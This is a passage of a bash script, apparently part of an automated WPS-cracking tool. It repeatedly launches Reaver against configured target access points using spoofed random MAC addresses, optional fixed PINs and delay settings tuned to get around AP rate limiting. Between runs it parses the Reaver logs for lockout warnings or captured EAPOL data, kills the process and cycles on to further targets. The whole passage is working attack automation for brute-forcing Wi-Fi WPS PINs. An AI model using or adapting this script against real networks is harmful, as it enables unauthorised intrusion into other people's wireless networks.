if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R19 == y || $USE_R19 == Y ]] && [[ $USE_LONG19 == n || $USE_LONG19 == N ]] && [[ $USE_PIN19 == y || $USE_PIN19 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX19" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY19"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -vv -x 60 -r $RX19:$RY19 --pin=$WPS_PIN19 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R19 == n || $USE_R19 == N ]] && [[ $USE_LONG19 == y || $USE_LONG19 == Y ]] && [[ $USE_PIN19 == y || $USE_PIN19 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN19 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R19 == y || $USE_R19 == Y ]] && [[ $USE_LONG19 == y || $USE_LONG19 == Y ]] && [[ $USE_PIN19 == y || $USE_PIN19 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX19" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY19"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -r $RX19:$RY19 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN19 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE19 == n ] || [ $KEEP_FILE19 == N ]; then

          rm VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R20 == n || $USE_R20 == N ]] && [[ $USE_LONG20 == n || $USE_LONG20 == N ]] && [[ $USE_PIN20 == n || $USE_PIN20 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

